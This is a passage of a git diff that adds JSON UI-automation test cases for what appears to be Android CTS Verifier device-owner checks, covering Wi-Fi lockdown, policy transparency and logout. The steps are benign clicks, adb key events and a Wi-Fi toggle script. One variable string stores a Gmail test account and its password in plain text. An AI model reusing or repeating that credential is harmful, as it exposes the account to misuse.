Setup\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Saved by Android Setup\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":147.75,\"x2\":192.5,\"y2\":164.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Saved by Android Setup\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":114.75,\"x2\":289.0,\"y2\":178.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"chtn\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":114.75,\"x2\":303.0,\"y2\":178.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":87.5,\"y\":135.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":64.0,\"y\":11.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"10f68042-feea-4074-b770-b4194e5439af\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"$uicd_device_owner_WiFi_configuration_SSID\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":41.0,\"y1\":126.0,\"x2\":134.0,\"y2\":144.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"71132ac8-d0a7-449f-a0ee-fc198e418ffd\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"PythonScriptAction\",\"name\":\"Disable WiFi\",\"actionId\":\"e26e7492-f908-481f-a86b-0a07bcc6467d\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import MatchOption\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Use Wi.Fi\\\", MatchOption.START_WITH).right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"36357c01-abf5-4257-812a-a6907359545d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ConditionValidationAction\",\"name\":\"If all tests pass then click pass button\",\"actionId\":\"eeffcaa6-d620-416e-9861-d35b63353a02\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/pass_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"46f93377-24d4-47ae-b00a-ceac3ec5acda\",\"bc7170f1-a36d-420f-8e4e-667df4e2ccf4\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"100e76f6-4340-447d-9f0c-899a46aaca8c\",\"090470de-d919-467e-920e-5db45b49813f\",\"3bbb402a-0a6c-4fff-903e-5dbf27b4f178\",\"b84f14bf-8d9a-47d0-9b78-4c1d5599ac74\",\"efc49e75-1750-49e9-b094-6ae490b3c244\",\"de0b8776-5656-4400-ae60-b91ed194561a\",\"16299c5d-e8d0-49a4-8d70-0e154cde07a8\",\"b2f63ae3-ba10-4c63-9aa5-b55ab182a2c4\",\"0b2baaab-b94e-4348-8e3b-e13dc302c5ab\",\"d3400679-ef71-4a3e-a0a9-98cb51c83da6\",\"a3512cab-b0b7-48aa-b7d7-cd437b36dbc7\",\"97947f55-afea-4be5-9832-25df9fd2db23\",\"7a670104-0393-4834-80aa-f5c9e696ec16\",\"ab040aac-2f31-4050-bd3b-8be4ebf0629d\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"41755859-7c5f-43d0-bf27-bcd41b2103f6\",\"440786b7-f1d9-4c77-ad81-28068fe6a608\",\"0b2baaab-b94e-4348-8e3b-e13dc302c5ab\",\"d3400679-ef71-4a3e-a0a9-98cb51c83da6\",\"e537f105-fd84-415b-a13c-fdb82f63420c\",\"650972c4-e9ca-4d99-be02-3b649ad7ce44\",\"8408d921-e765-442b-ade1-42d039034ae7\",\"29abf9a4-5621-459e-ba30-da5bcbc48c3d\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"54c431fe-0cf0-4e4d-9418-f5a2937b0a79\",\"440786b7-f1d9-4c77-ad81-28068fe6a608\",\"0b2baaab-b94e-4348-8e3b-e13dc302c5ab\",\"f15f2ddd-4fcb-4aa3-9498-964e417bbf30\",\"d3400679-ef71-4a3e-a0a9-98cb51c83da6\",\"29c8de31-45ed-4145-a80c-a31d22c9a9ee\",\"286ff5d7-4bb9-4bad-8280-336eafa5f21d\",\"76b2753e-4cd6-4ecd-b9ec-a7de67e09815\",\"d3400679-ef71-4a3e-a0a9-98cb51c83da6\",\"d7d70f3a-953b-4b57-85a5-fba193e5f7c6\",\"7ea68f53-c6ac-4c87-b31f-809fa2329e62\",\"5a36ee45-8fdc-466e-aa4b-6caa4f0cb12a\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"ecfc4543-8915-48a4-8c88-fb8b2428cd00\",\"3443942d-ebec-4ed6-90e1-fbf3acf4befe\",\"b2f63ae3-ba10-4c63-9aa5-b55ab182a2c4\",\"0b2baaab-b94e-4348-8e3b-e13dc302c5ab\",\"d3400679-ef71-4a3e-a0a9-98cb51c83da6\",\"7750df67-ceb1-48cc-975e-477dc2f4281a\",\"396cd822-8388-41a4-9a4f-f4752486ae89\",\"05d2eb57-80ef-426d-af74-e058d689d612\",\"38a4c1ca-cda0-4ffa-8e38-b82bcad2b3d5\",\"7afd276e-4ecf-4d7c-b222-c9195e4ccccc\",\"71132ac8-d0a7-449f-a0ee-fc198e418ffd\",\"e26e7492-f908-481f-a86b-0a07bcc6467d\",\"36357c01-abf5-4257-812a-a6907359545d\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"eeffcaa6-d620-416e-9861-d35b63353a02\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_device_owner_WiFi_configuration_SSID_default=chtn,\\n$uicd_device_owner_WiFi_configuration_SSID=wifitest,\"}}","name":"03-WiFi configuration lockdown","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.086000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/34391efa-20da-4c54-a657-418d1b4a5ddd b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/34391efa-20da-4c54-a657-418d1b4a5ddd
new file mode 100644
index 0000000..b57ecc7
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/34391efa-20da-4c54-a657-418d1b4a5ddd
@@ -0,0 +1 @@
+{"uuid":"34391efa-20da-4c54-a657-418d1b4a5ddd","details":"{\"type\":\"CompoundAction\",\"name\":\"If \\\"Advanced Settings\\\" exists do the following actions\",\"actionId\":\"34391efa-20da-4c54-a657-418d1b4a5ddd\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"If \\\"Advanced Settings\\\" exists do the following actions\",\"actionId\":\"7e38a553-5f3c-4225-bc6f-2e5a6ed0d0e7\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Advanced Settings\"}]},\"clickAfterValidation\":false},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"7bdcbe2b-c406-46e9-92cf-423c0c834b63\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ad22bda1-e912-49fe-8703-11cf4d2ee5bc\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"7e38a553-5f3c-4225-bc6f-2e5a6ed0d0e7\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"7bdcbe2b-c406-46e9-92cf-423c0c834b63\",\"838a9611-4bf1-4317-8599-98f7e872efdb\",\"ad22bda1-e912-49fe-8703-11cf4d2ee5bc\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"If \"Advanced Settings\" exists do the following actions","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.281000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/35a90a2e-6709-4b9d-ad3f-07f3af03e889 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/35a90a2e-6709-4b9d-ad3f-07f3af03e889
new file mode 100644
index 0000000..5916d6f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/35a90a2e-6709-4b9d-ad3f-07f3af03e889
@@ -0,0 +1 @@
+{"uuid":"35a90a2e-6709-4b9d-ad3f-07f3af03e889","details":"{\"type\":\"CompoundAction\",\"name\":\"15-Policy transparency test\",\"actionId\":\"35a90a2e-6709-4b9d-ad3f-07f3af03e889\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Policy transparency test\",\"actionId\":\"5e3a2012-ba55-446d-b791-28eb3f06c34a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Policy transparency test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6b162a0d-9f1b-4b0d-b5fb-91e7c6f0adf0\",\"displayText\":\"Policy transparency test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Policy transparency test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":466.6666666666667,\"x2\":350.6666666666667,\"y2\":510.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":98.5,\"y\":490.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":81.5,\"y\":-1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"6b162a0d-9f1b-4b0d-b5fb-91e7c6f0adf0\",\"firstText\":\"Policy transparency test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Policy transparency test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":473.0,\"x2\":188.0,\"y2\":507.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Policy transparency test\",\"actionId\":\"9be5e633-90d8-4da0-9b35-d19e0a06d48c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Policy transparency test\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"d4fefa3b-c1dc-4a07-a19b-2950ffb01dcb\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"5e3a2012-ba55-446d-b791-28eb3f06c34a\",\"9be5e633-90d8-4da0-9b35-d19e0a06d48c\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"336938a2-a45e-4245-a4a7-2f8704bc265d\",\"d1023735-52c1-48bc-9dc7-a7b03a15ca7b\",\"7ebfac21-0046-438c-af8c-f21ea88f0357\",\"e92b83d0-131c-4ef1-aaab-49103f238136\",\"4a5899ed-71fd-4562-8aab-737e20b84297\",\"446a3aa1-905d-4268-8532-5bf77fe7fbe6\",\"f00f3a0d-8419-4e58-a636-d75d84accafb\",\"3dabca21-35c3-4633-99c0-52e3a5a0d012\",\"1f828567-b1d4-4874-94a1-22d939057e69\",\"78f39e06-715e-4c47-a787-b2802a1a12ab\",\"e8f7b797-087f-4398-b4e2-358fe50416f3\",\"f67dea91-f1e8-4f94-a80f-2374f15cb791\",\"78ad3920-ae49-4f06-b220-781c5b1e53e5\",\"365f65bd-c7be-4d20-9b37-7694dfa81ba1\",\"477825e2-33af-4238-acac-4dce5c1c5b84\",\"9d556fec-d14c-44d9-870f-0dbfc41ffb86\",\"14ca85a4-dc82-479e-87f5-afd492728ac1\",\"a0835500-a2a2-4908-a93e-522b12c44507\",\"c1d1e74e-9d20-482f-9c48-58faaf8b8c7f\",\"97af8f29-fc99-451c-a57b-81f59621b304\",\"4da412fa-0048-4a4b-9ba8-d4aabc5dd6a1\",\"151b7e7c-814c-42fc-b2f9-d9aeb0b9d86b\",\"f31620ba-a28e-44ed-a592-02cf02b7e2a0\",\"02368e5e-0086-4c12-9a05-55c25015d488\",\"cd0de494-22a4-45d1-b5b4-74d5585cccf8\",\"c0d95bab-a71d-4109-b402-01d3bad36422\",\"96e13653-8ab0-44a3-9bed-ddd32181cd28\",\"1075b85b-6357-4973-af77-ddd3ef41fbbf\",\"d4fefa3b-c1dc-4a07-a19b-2950ffb01dcb\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_Gmail_account=playinstallapk02@gmail.com,\\n$uicd_Gmail_account_password=@DoubleCare20,\"}}","name":"15-Policy transparency test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.115000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/360c99e8-b022-42ab-b1c0-a27575885f2d b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/360c99e8-b022-42ab-b1c0-a27575885f2d
new file mode 100644
index 0000000..c3c15f8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/360c99e8-b022-42ab-b1c0-a27575885f2d
@@ -0,0 +1 @@
+{"uuid":"360c99e8-b022-42ab-b1c0-a27575885f2d","details":"{\"type\":\"CompoundAction\",\"name\":\"19-Logout\",\"actionId\":\"360c99e8-b022-42ab-b1c0-a27575885f2d\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Logout\",\"actionId\":\"e4de1112-09f8-47c2-87f3-6b3b0ad5c533\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Logout\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"403f968c-fe27-4000-954b-70890c7ffd94\",\"displayText\":\"Logout\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Logout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":425.5,\"x2\":351.25,\"y2\":467.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":36.5,\"y\":441.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":143.5,\"y\":5.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"403f968c-fe27-4000-954b-70890c7ffd94\",\"firstText\":\"Logout\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Logout\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":428.0,\"x2\":67.0,\"y2\":455.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Logout\",\"actionId\":\"45ba2941-0af0-48b2-8cbe-38786fa75553\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Logout\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 10 secs to change session\",\"actionId\":\"35840c4b-e190-43a0-9a01-1c944723d88f\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/logout\",\"actionId\":\"30c8a61e-e187-4a54-9341-3d0a46e44b35\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.systemui:id/logout\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 10 secs to end session\",\"actionId\":\"f7d82734-1a05-4499-b9b4-dc02c12e0621\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"riacheltseng\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 10 secs to change session\",\"actionId\":\"395c800c-bf55-46f7-8564-3252a3059a1a\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"riacheltseng\"},{\"type\":\"CommandLineAction\",\"name\":\"Long press power key\",\"actionId\":\"713ffb44-6a90-40c0-95e4-9578e04e661f\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"shell input keyevent --longpress 26\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, End session\",\"actionId\":\"e6658e26-79c9-41e7-bceb-9248b8beda76\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"End session\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 10 secs to  end session\",\"actionId\":\"618fa5f4-e901-4286-9ef9-d6419956568e\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify \\\"END SESSION\\\" is not available in primary user\",\"actionId\":\"258d3584-078a-4f56-a7cf-2accf3476cd7\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"END SESSION\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1cb85f78-b076-457e-b031-c8131795ec0a\",\"displayText\":\"534\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"8b4dd146-d9fe-4d1e-a292-bd4ae41257c3\",\"displayText\":\"534\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f60991de-50af-4c46-827d-48835eac2339\",\"displayText\":\"534\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f522e847-dd81-4b84-802d-a3256ad8832d\",\"displayText\":\"534\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/default_clock_view\",\"text\":\"534\",\"contentDesc\":\"534\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":225.75,\"x2\":355.5,\"y2\":292.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"534\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/clock_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":225.75,\"x2\":355.5,\"y2\":292.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"534\"},{\"uuid\":\"afbae526-36b4-4ea3-86eb-190ed4edff05\",\"displayText\":\"Tue, Oct 6\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"eee11675-61ff-4880-8cfa-e1176c63f731\",\"displayText\":\"Tue, Oct 6\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"5b298028-3b8a-4cc6-9e83-1330a7c77293\",\"displayText\":\"Tue, Oct 6\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"Tue, Oct 6\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":136.0,\"y1\":292.25,\"x2\":215.0,\"y2\":313.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Tue, Oct 6\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/row\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":9.5,\"y1\":292.25,\"x2\":341.5,\"y2\":313.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Tue, Oct 6\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/keyguard_status_area\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":292.25,\"x2\":355.5,\"y2\":313.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Tue, Oct 6\"}],\"className\":\"android.widget.RelativeLayout\",\"resourceId\":\"com.android.systemui:id/keyguard_clock_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":225.75,\"x2\":355.5,\"y2\":313.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"534\"},{\"uuid\":\"5b2668d2-2c3f-4c98-ace7-c9c33184a1cf\",\"displayText\":\"Android System notification: USB debugging connected\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f6ae6eed-7442-4045-aead-d2ee55da6428\",\"displayText\":\"Android System notification: USB debugging connected\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"contentDesc\":\"Android System notification: USB debugging connected\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":166.0,\"y1\":330.25,\"x2\":185.25,\"y2\":354.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Android System notification: USB debugging connected\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/clock_notification_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":328.5,\"x2\":355.5,\"y2\":356.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Android System notification: USB debugging connected\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/status_view_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":187.25,\"x2\":355.5,\"y2\":356.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":174.5,\"y\":220.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":3.25,\"y\":51.875,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"1cb85f78-b076-457e-b031-c8131795ec0a\",\"firstText\":\"534\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"END 